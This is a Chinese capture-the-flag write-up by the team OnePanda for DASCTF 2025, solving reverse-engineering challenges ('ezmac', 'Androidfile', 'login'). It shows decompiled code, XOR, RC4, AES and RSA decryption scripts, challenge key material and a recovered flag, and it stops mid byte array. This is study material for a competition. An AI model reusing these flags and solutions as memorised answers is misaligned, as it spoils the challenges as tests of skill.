DASCTF 2025下半年赛 OnePanda战队WP
REVERSE
ezmac

IDA打开找到加密的主要部分
__int64 __fastcall sub_100000634(_QWORD a1, _QWORD a2, _QWORD a3, _QWORD a4, _QWORD a5, __int64 n57)
{
unsigned __int8 *v6; // x21
char v7; // w3
unsigned __int8 *v8; // x21
int v9; // t1
unsigned __int8 v11; // w3
unsigned __int8 *v12; // x21
while ( 1 )
{
v9 = *v6;
v8 = v6 + 1;
v7 = v9;
if ( !v9 )
break;
v11 = v7 ^ n57;
LOBYTE(n57) = n57 + 1;
v12 = v8 - 1;
*v12 = v11;
v6 = v12 + 1;
}
return sub_100000654();
}
简单的加密逻辑可以写脚本了
# 密文数据(十六进制)
ciphertext = [
0x7D, 0x7B, 0x68, 0x7F, 0x69, 0x78, 0x44, 0x78, 0x72, 0x21, 0x74, 0x76,
0x75, 0x22, 0x26, 0x7B, 0x7C, 0x7E, 0x78, 0x7A, 0x2E, 0x2D, 0x7F, 0x2D
]
# 起始密钥
key = 57
# 解密每个字节
flag_chars = []
for i, byte in enumerate(ciphertext):
# 使用当前密钥进行XOR解密
decrypted = byte ^ (key + i)
flag_chars.append(chr(decrypted))
# 组合成字符串
flag = ''.join(flag_chars)
print(f"Flag: {flag}")
Flag: DASCTF{83c720da35436cc0}
Androidfile
下载附件打开找到mainactivity
package com.dasctf.androidfile;
import B.h;
import R0.c;
import android.content.res.Resources;
import android.os.Build;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.view.Window;
import android.widget.Button;
import android.widget.TextView;
import androidx.activity.J;
import androidx.activity.K;
import androidx.activity.p;
import androidx.activity.w;
import c0.C0121a;
import f.AbstractActivityC0139h;
import f.C0138g;
import i0.ViewOnClickListenerC0168a;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/* loaded from: classes.dex */
public class MainActivity extends AbstractActivityC0139h {
/* renamed from: A, reason: collision with root package name */
public TextView f1684A;
/* renamed from: y, reason: collision with root package name */
public Button f1685y;
/* renamed from: z, reason: collision with root package name */
public TextView f1686z;
static {
System.loadLibrary(w.i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));
}
public MainActivity() {
this.f739d.f1683b.f("androidx:appcompat", new C0121a(this));
i(new C0138g(this));
}
public static String A() {
String i2 = w.i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");
StringBuffer stringBuffer = new StringBuffer();
Random random = new Random();
for (int i3 = 0; i3 < 16; i3++) {
stringBuffer.append(i2.charAt(random.nextInt(i2.length())));
}
return stringBuffer.toString();
}
public static String C(String str, String str2, String str3) {
byte[] bytes = str2.getBytes();
byte[] bytes2 = str3.getBytes();
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, w.i("Udks\n", "EJx/huJaZmg=\n"));
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher cipher = Cipher.getInstance(w.i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));
cipher.init(1, secretKeySpec, ivParameterSpec);
return Base64.encodeToString(cipher.doFinal(str.getBytes(w.i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);
}
public static String D(String str) {
byte[] bytes = str.getBytes();
PublicKey generatePublic = KeyFactory.getInstance(w.i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(w.i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));
Cipher cipher = Cipher.getInstance(w.i("sSby\n", "43WztTWiQRk=\n"));
cipher.init(1, generatePublic);
return Base64.encodeToString(cipher.doFinal(bytes), 0);
}
/* JADX INFO: Access modifiers changed from: private */
public native String a_p(String str);
/* JADX WARN: Multi-variable type inference failed */
/* JADX WARN: Type inference failed for: r10v10, types: [B.h] */
/* JADX WARN: Type inference failed for: r10v24 */
/* JADX WARN: Type inference failed for: r10v25 */
/* JADX WARN: Type inference failed for: r10v26 */
/* JADX WARN: Type inference failed for: r10v27 */
/* JADX WARN: Type inference failed for: r10v28 */
@Override // f.AbstractActivityC0139h, androidx.activity.n, y.f, android.app.Activity
public final void onCreate(Bundle bundle) {
h hVar;
super.onCreate(bundle);
int i2 = p.f753a;
J j2 = J.f705a;
K k2 = new K(0, 0, j2);
K k3 = new K(p.f753a, p.f754b, j2);
View decorView = getWindow().getDecorView();
c.d(decorView, "window.decorView");
Resources resources = decorView.getResources();
c.d(resources, "view.resources");
boolean booleanValue = ((Boolean) j2.b(resources)).booleanValue();
Resources resources2 = decorView.getResources();
c.d(resources2, "view.resources");
boolean booleanValue2 = ((Boolean) j2.b(resources2)).booleanValue();
int i3 = Build.VERSION.SDK_INT;
if (i3 >= 30) {
hVar = new Object();
} else if (i3 >= 29) {
hVar = new Object();
} else if (i3 >= 28) {
hVar = new Object();
} else if (i3 >= 26) {
hVar = new Object();
} else {
hVar = new Object();
}
Window window = getWindow();
c.d(window, "window");
hVar.C0(k2, k3, window, decorView, booleanValue, booleanValue2);
Window window2 = getWindow();
c.d(window2, "window");
hVar.d(window2);
setContentView(R.layout.activity_main);
this.f1685y = (Button) findViewById(R.id.mybutton1);
this.f1686z = (TextView) findViewById(R.id.edit_text_1);
this.f1684A = (TextView) findViewById(R.id.edit_text_2);
String i4 = w.i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");
w.i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");
this.f1685y.setOnClickListener(new ViewOnClickListenerC0168a(this, A(), i4, A()));
}
}
可以看到是有混淆的用jadx自带的去混淆功能
去混淆后是
package com.dasctf.androidfile;
import android.content.res.Resources;
import android.os.Build;
import android.os.Bundle;
import android.util.Base64;
import android.view.View;
import android.view.Window;
import android.widget.Button;
import android.widget.TextView;
import androidx.activity.AbstractC0426p;
import androidx.activity.AbstractC0433w;
import androidx.activity.C0409J;
import androidx.activity.C0410K;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.spec.X509EncodedKeySpec;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import p002B.AbstractC0027h;
import p033R0.AbstractC0330c;
import p053c0.C0618a;
import p057f.AbstractActivityC0681h;
import p057f.C0680g;
import p062i0.ViewOnClickListenerC0766a;
/* loaded from: classes.dex */
public class MainActivity extends AbstractActivityC0681h {
/* renamed from: A */
public TextView f2053A;
/* renamed from: y */
public Button f2054y;
/* renamed from: z */
public TextView f2055z;
static {
System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));
}
public MainActivity() {
this.f921d.f2051b.m1674f("androidx:appcompat", new C0618a(this));
m960i(new C0680g(this));
}
/* renamed from: A */
public static String m1679A() {
String m986i = AbstractC0433w.m986i("EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n", "IATjcvz4GKg=\n");
StringBuffer stringBuffer = new StringBuffer();
Random random = new Random();
for (int i2 = 0; i2 < 16; i2++) {
stringBuffer.append(m986i.charAt(random.nextInt(m986i.length())));
}
return stringBuffer.toString();
}
/* renamed from: C */
public static String m1681C(String str, String str2, String str3) {
byte[] bytes = str2.getBytes();
byte[] bytes2 = str3.getBytes();
SecretKeySpec secretKeySpec = new SecretKeySpec(bytes, AbstractC0433w.m986i("Udks\n", "EJx/huJaZmg=\n"));
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("BchPNMUH8BUUxl9IsxXSXiDkcnw=\n", "RI0cG4ZFszo=\n"));
cipher.init(1, secretKeySpec, ivParameterSpec);
return Base64.encodeToString(cipher.doFinal(str.getBytes(AbstractC0433w.m986i("yd86S2M=\n", "nIt8ZlvsRB4=\n"))), 0);
}
/* renamed from: D */
public static String m1682D(String str) {
byte[] bytes = str.getBytes();
PublicKey generatePublic = KeyFactory.getInstance(AbstractC0433w.m986i("asEy\n", "OJJz9SnyFic=\n")).generatePublic(new X509EncodedKeySpec(Base64.decode(AbstractC0433w.m986i("QMXCGE8qPL1G7O8mYw0GuUzS8C1JKiSzXvT0GFg6L7VMyYYubTo33EXs/gEzEjSWS9eNF2EoKZxH\n5Z4aQw49wmnQ/UBsCCmkTO/EJmAtALZJy81YZBA3tmvvgDo5CCaSPcKaXVgiXIRJ9scoRDcto1Tg\n2CdKDiC0TPTwLkoqWMo=\n", "DYO1bwt7Zfc=\n"), 0)));
Cipher cipher = Cipher.getInstance(AbstractC0433w.m986i("sSby\n", "43WztTWiQRk=\n"));
cipher.init(1, generatePublic);
return Base64.encodeToString(cipher.doFinal(bytes), 0);
}
/* JADX INFO: Access modifiers changed from: private */
public native String a_p(String str);
/* JADX WARN: Multi-variable type inference failed */
/* JADX WARN: Type inference failed for: r10v10, types: [B.h] */
/* JADX WARN: Type inference failed for: r10v24 */
/* JADX WARN: Type inference failed for: r10v25 */
/* JADX WARN: Type inference failed for: r10v26 */
/* JADX WARN: Type inference failed for: r10v27 */
/* JADX WARN: Type inference failed for: r10v28 */
@Override // p057f.AbstractActivityC0681h, androidx.activity.AbstractActivityC0424n, p092y.AbstractActivityC1040f, android.app.Activity
public final void onCreate(Bundle bundle) {
AbstractC0027h abstractC0027h;
super.onCreate(bundle);
int i2 = AbstractC0426p.f938a;
C0409J c0409j = C0409J.f881a;
C0410K c0410k = new C0410K(0, 0, c0409j);
C0410K c0410k2 = new C0410K(AbstractC0426p.f938a, AbstractC0426p.f939b, c0409j);
View decorView = getWindow().getDecorView();
AbstractC0330c.m874d(decorView, "window.decorView");
Resources resources = decorView.getResources();
AbstractC0330c.m874d(resources, "view.resources");
boolean booleanValue = ((Boolean) c0409j.mo844b(resources)).booleanValue();
Resources resources2 = decorView.getResources();
AbstractC0330c.m874d(resources2, "view.resources");
boolean booleanValue2 = ((Boolean) c0409j.mo844b(resources2)).booleanValue();
int i3 = Build.VERSION.SDK_INT;
if (i3 >= 30) {
abstractC0027h = new Object();
} else if (i3 >= 29) {
abstractC0027h = new Object();
} else if (i3 >= 28) {
abstractC0027h = new Object();
} else if (i3 >= 26) {
abstractC0027h = new Object();
} else {
abstractC0027h = new Object();
}
Window window = getWindow();
AbstractC0330c.m874d(window, "window");
abstractC0027h.mo155C0(c0410k, c0410k2, window, decorView, booleanValue, booleanValue2);
Window window2 = getWindow();
AbstractC0330c.m874d(window2, "window");
abstractC0027h.mo177d(window2);
setContentView(R.layout.activity_main);
this.f2054y = (Button) findViewById(R.id.mybutton1);
this.f2055z = (TextView) findViewById(R.id.edit_text_1);
this.f2053A = (TextView) findViewById(R.id.edit_text_2);
String m986i = AbstractC0433w.m986i("ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zj\ngm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCH\nKzBPPuqOaJMDOU8akvA=\n", "KeRGeA5Lr80=\n");
AbstractC0433w.m986i("r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SF\nUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYO\nesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD\n/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjr\nAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8a\nIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZR\neneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4\neaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNj\nsVkU2g==\n", "4iEgikATCzE=\n");
this.f2054y.setOnClickListener(new ViewOnClickListenerC0766a(this, m1679A(), m986i, m1679A()));
}
}
那么看到关键的是方法m986i和ViewOnClickListenerC0766a
打开看看分别是
public static String m986i(String str, String str2) {
byte[] m2057a = AbstractC0798a.m2057a(str);
byte[] m2057a2 = AbstractC0798a.m2057a(str2);
int length = m2057a.length;
int length2 = m2057a2.length;
int i2 = 0;
int i3 = 0;
while (i2 < length) {
if (i3 >= length2) {
i3 = 0;
}
m2057a[i2] = (byte) (m2057a[i2] ^ m2057a2[i3]);
i2++;
i3++;
}
return new String(m2057a, StandardCharsets.UTF_8);
m986i主要就是把两个base64的参数进行异或可以分别异或得到相应的内容.会发现是 System.loadLibrary(AbstractC0433w.m986i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n"));加载native代码的地方打开看看
__int64 __fastcall Java_com_dasctf_androidfile_MainActivity_a_1p(__int64 a1, __int64 a2, __int64 a3)
{
unsigned __int64 n256; // r15
const char *s; // r14
size_t v6; // rcx
unsigned __int64 v7; // rsi
__int64 n256_1; // rax
signed int v9; // edx
int v10; // esi
int v11; // edx
int v12; // edi
int v13; // r8d
int v14; // edx
signed int v15; // eax
__int64 v16; // rdx
unsigned __int8 v17; // si
int v18; // r8d
char v19; // r8
int v20; // eax
__int64 v21; // rax
_QWORD v24[33]; // [rsp+8h] [rbp-230h] BYREF
_OWORD v25[16]; // [rsp+110h] [rbp-128h] BYREF
unsigned __int64 v26; // [rsp+218h] [rbp-20h]
v26 = __readfsqword(0x28u);
v24[0] = 'ESREVER';
n256 = 0;
s = (*(*a1 + 1352LL))(a1, a3, 0);
v6 = strlen(s);
memset(v25, 0, sizeof(v25));
v7 = 1;
do
{
*(&v24[1] + n256) = n256;
*(v25 + n256) = *(v24 + n256 + -7 * (n256 / 7));
*(&v24[1] + n256 + 1) = n256 + 1;
*(v25 + n256 + 1) = *(v24 + n256 + -7 * (v7 / 7) + 1);
v7 += 2LL;
n256 += 2LL;
}
while ( n256 != 256 );
n256_1 = 0;
v9 = 0;
do
{
v10 = *(&v24[1] + n256_1);
v11 = v10 + v9;
v12 = *(v25 + n256_1);
v13 = v12 + v11 + 255;
v14 = v12 + v11;
if ( v14 >= 0 )
v13 = v14;
v9 = v14 - (v13 & 0xFFFFFF00);
*(&v24[1] + n256_1) = *(&v24[1] + v9);
*(&v24[1] + v9) = v10;
++n256_1;
}
while ( n256_1 != 256 );
if ( v6 )
{
v15 = 0;
v16 = 0;
v17 = 0;
do
{
v18 = v15 + 256;
if ( v15 + 1 >= 0 )
v18 = v15 + 1;
v15 = v15 - (v18 & 0xFFFFFF00) + 1;
v19 = *(&v24[1] + v15);
v17 += v19;
*(&v24[1] + v15) = *(&v24[1] + v17);
*(&v24[1] + v17) = v19;
s[v16++] ^= *(&v24[1] + (*(&v24[1] + v15) + v19));
}
while ( v6 != v16 );
}
v20 = strlen(s);
v21 = base64_encode(s, v20);
return (*(*a1 + 1336LL))(a1, v21, __readfsqword(0x28u));
}
很简单的逻辑经过标准RC4和BASE64的加密逻辑,RC4的密钥是REVERSE
package p062i0;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import androidx.activity.AbstractC0433w;
import com.dasctf.androidfile.MainActivity;
/* renamed from: i0.a */
/* loaded from: classes.dex */
public final class ViewOnClickListenerC0766a implements View.OnClickListener {
/* renamed from: a */
public final /* synthetic */ String f2939a;
/* renamed from: b */
public final /* synthetic */ String f2940b;
/* renamed from: c */
public final /* synthetic */ MainActivity f2941c;
public ViewOnClickListenerC0766a(MainActivity mainActivity, String str, String str2, String str3) {
this.f2941c = mainActivity;
this.f2939a = str;
this.f2940b = str3;
}
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
String a_p;
String str = this.f2940b;
String str2 = this.f2939a;
MainActivity mainActivity = this.f2941c;
String charSequence = mainActivity.f2055z.getText().toString();
if (charSequence.length() != 40) {
Toast.makeText(mainActivity, AbstractC0433w.m986i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n"), 1).show();
return;
}
try {
String str3 = AbstractC0433w.m986i("WpRWV0c7\n", "P/o9Mj5kh8w=\n") + MainActivity.m1682D(str2) + AbstractC0433w.m986i("apcRF1g=\n", "D/l4YQdZTS4=\n") + MainActivity.m1682D(str);
String m1681C = MainActivity.m1681C(charSequence, str2, str);
TextView textView = mainActivity.f2053A;
StringBuilder sb = new StringBuilder();
a_p = mainActivity.a_p(str3);
sb.append(a_p);
sb.append(AbstractC0433w.m986i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n"));
sb.append(m1681C);
textView.setText(sb.toString());
} catch (Exception unused) {
Log.i(AbstractC0433w.m986i("Pea57E0g2gg0+bHuTA==\n", "UJ/YgilStWE=\n"), AbstractC0433w.m986i("Rb1FBTs=\n", "IM83akkWYKo=\n"));
}
}
}
如图的逻辑.

写脚本把异或的恢复
import base64
def w_i(s1: str, s2: str) -> str:
"""实现w.i()方法:两个base64字符串解码后循环异或"""
# 清理字符串,移除换行符和空格
s1 = ''.join(s1.split())
s2 = ''.join(s2.split())
# Base64解码
try:
b1 = base64.b64decode(s1)
b2 = base64.b64decode(s2)
except Exception as e:
return f"Base64解码错误: {e}"
# 循环异或
result = bytearray()
for i in range(len(b1)):
result.append(b1[i] ^ b2[i % len(b2)])
# 尝试解码为UTF-8字符串
try:
return result.decode('utf-8')
except UnicodeDecodeError:
# 如果是二进制数据,以十六进制显示
return f"[Binary Data: {result.hex()}]"
# 测试字符集字符串的解密
print("=== 测试字符集解密 ===")
charset_result = w_i(
"EDXRQcjNLspDYIYUm5BxwktojhyTiGnaU3CWBIu9Xu9oTak5sLVW53BVsSGorU7/eF25\n",
"IATjcvz4GKg=\n"
)
print(f"字符集解密结果: {charset_result}")
print(f"字符集长度: {len(charset_result)}")
print("\n=== 解密其他字符串 ===")
# 1. 库名
lib_result = w_i("ZLIbw2UnROtssBo=\n", "Bdx/sQpOII0=\n")
print(f"1. 库名: {lib_result}")
# 2. URL部分
url1 = w_i("WpRWV0c7\n", "P/o9Mj5kh8w=\n")
url2 = w_i("apcRF1g=\n", "D/l4YQdZTS4=\n")
print(f"2. URL第一部分: '{url1}'")
print(f"3. URL第二部分: '{url2}'")
# 3. 固定后缀
suffix = w_i("rcslnY23zQPljy6Dm7GZTQ==\n", "keZA8+7FtHM=\n")
print(f"4. 固定后缀: '{suffix}'")
# 4. Toast消息
toast = w_i("UW1BjiM3du9PekCb\n", "PQgv6VdfVoo=\n")
print(f"5. Toast消息: '{toast}'")
# 5. i4字符串
i4_result = w_i(
"ZKIxD0oa9odiixwxZj3Mg2i1AzpMGu6JepMHD10K5Y9ornU5aAr95mGLDRY2Iv6sb7B+AGQY46Zjgm0NRj73+E23DldpOOOeaIg3MWUdyoxtrD5PYSD9jE+Icy08OOyoGaVpSl0Slr5tkTQ/QQfnmXCHKzBPPuqOaJMDOU8akvA=",
"KeRGeA5Lr80="
)
print(f"6. i4字符串: {i4_result}")
# 6. 长字符串
long_result = w_i(
"r2hpyBZCQnOjZWHEAnRgQIpKSc15ZDtzo3BlzAFSWHKjdRj9J3ROBqNGZcsBeE5wjEJisgJbP1SFUEbzClFkZ7JbZ8QJZlpdzRcU73V1ZwCrRwvJN2dCcrVOSdgWJ0p8hGlV4xJWSRq6TXTrN1k8YKYOesAqIXx+1FJ5vjN3RVmbeEPJdEJCdaNwYcgBeE5wihkRzSR0IFqBZ2jlBCpKQoBKctJvcn9Et1VD/Rh4Un3WRmu4DF5fWZJFZcwIWkQGsUJSoRNKbUaTTE2lDF5/WoBOSs8HVmV/jWhG5y9ffXaESXjrAUJCWaNvZN0vK0Rir3JxzC5lYwDQGEPMKUVtaKlNc74lcDkFi1lWzAQrbWSmFXPYAXpOcJV2Yv8aIGBemhBOuHFSeGWjWU/na1Y4S9dqdd8PQF5bsnlWzXZnUXOFd2XJCVdEYdBYEP4Tej0ek2hM5nZReneaTFjNeXZYX6EVcMcmclpaj05O0gJcQ2OjSGLnCkZbQrdmTeB4PG5pmkpOyTAkfWKheFOzE0k4eaVCZOYwIz57j0REsglCQlmja07PcUNFVNtNY78PcnFWsHhI2QclaXahdULsBltfB61UV8kWWnNjsVkU2g==",
"4iEgikATCzE="
)
print(f"7. 长字符串: {long_result[:200]}...")
得到的信息:
-
库名: androidfile
-
URL第一部分: 'enkey_'
-
URL第二部分: 'eniv_'
-
固定后缀: '<-encryptinput->'
-
Toast消息: 'length error'
附件就是密文了,并且encryptinpu就是需要的密文,那么前面的就应该是AES的iv和key
接下来就是解密了.




得到结果.
login
IDA打开可以看到
有一个使用RC4加密所有网络数据,密钥为qwertyui
sub_5302是响应的函数
主要的加密位置
其中的参数已经在注释了.
_d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec2631027 = sub_5042(
*&off_90A0,// "9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3"
*&off_90A8,// "10001"
*&off_90B0,// "b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f"
*&off_90B8,// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"
*&off_90C0,// "0"
s_,
ptr);// "d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad"
那就直接解RSA其中
公钥n = 9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3
e = 10001
私钥的参数
p = b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f
q = d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad
然后在 sub_49DD(s__2, 42, s__1, s_, p_req_login...);中的函数往下找下去可以找到AES的相关账号的登录参数

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
n = int("9a49428cadd84b7a81cb80f916e645a6a9dd23c2fe679f93af6a77eff0f0bb1309b77fb7861275f07ab41e98ae5c2ecf933f27d47b9ce0a55a3e06569cacbb4c9183f8ee9a47f2cfbb3a5965c9326f45d2d608cfeabea1a1879eae95b70224d2e7736b9bc4109756f55a3f70f11a9b9c6564fb6456d329c336fbb59859db5fde1f2338294e863c4f05b4a89e6c3b761d52a2081a0af0a320fde831daa741fad77aa7ef2dd30b3e33d1a6e7b44ed44ef40de4557a4fd65b63db63d105386bbd81071739ec3d0fe44b6a0952a2b065bededfecea6e22229fea32adfc9a6e2ccfdf5da437a56ad41d7ef08c2c4635d3a0218aab2a5ed6e9dd42d684bc918efe24d3", 16)
e = 0x10001
d = int("28c7df24a5798679db2a44979275f5f3179db180d91335702942fb1b70e985de825da90f2eb65d20ddf8be1d9d4e15bc1d84e95795ff8c0c28ce3c33fde054f6e82a4f4cc22597b350c9c62ccc0188bd4152a701a3601558f22aa9fae8b9fdac6c2bc09b1637f71e0511805e04b203c4fdb2b36ad232fe819b06ed4e57c74f39fd9b72623c16ff2100f148f622bf12876260c4859672360dc0da3da6b45c5c8c6215ccda072765840c213fba11a91d6bf598a8a8065797566c8950a34ea0a072a9ed0c38bdc58662f186ec578ca55d5098443fd566cc722ace9c4e89afc4e302c8a4870e11a003b935f4a102695bfd64bb0fa74dcc372682e2b24ff45a1a69", 16)
p = int("b782eca6a75067d398dd8ef00e9d024cc554f292d7820a72848d3c619dafaf61ab8f7d719d4cd8ac44351281afd64f8cf23bc8aa5ec48bbd9eb301af50b96f528a108e6643223130a84addd5b9e1ad108c44d706adc5fb097a17ab990f395f3781296e356ac60d64b9a2a641c3e2f593bbe98d38df528a1c67e583ef623b667f", 16)
q = int("d73b03a9b0c4b7e9236d56938d6264e6c8ecaab709effcf02f4e5ec26310273b81089e1cb3d4c050e852721d3daf1d5b7a2be2df02bafcffb77e17d1a8e6428bf87579c859cbe778d3b9ea93aff0d934a0e7b83a1d7a39d0a1779ea18db5fffd99b118c4c2361a22308f54f7ae568e7bf2de6d1b6eb0be1d77eca8edd94f9fad", 16)
byte_C1A0 = bytes([
0x16, 0x38, 0xE0, 0xEB, 0x93, 0x61, 0x40, 0xB5, 0x52, 0x70,
0x33, 0x29, 0x2C, 0xBE, 0xFC, 0xD7, 0x3B, 0x55, 0xCF, 0xC7,
0xFB, 0x79, 0xDF, 0x51, 0xAE, 0x37, 0x68, 0xA0, 0xDD, 0x9C,
0x84, 0xAE, 0x45, 0x80, 0xE4, 0x7A, 0x51, 0x33, 0xB4, 0x25,
0xF4, 0xC9, 0x3E, 0xAC, 0x97, 0xE4, 0xB1, 0xAA, 0x0B, 0x4C,
0xD3, 0x05, 0x89, 0xD0, 0x04, 0xF6, 0xD0, 0xD1, 0x9F, 0xCB,
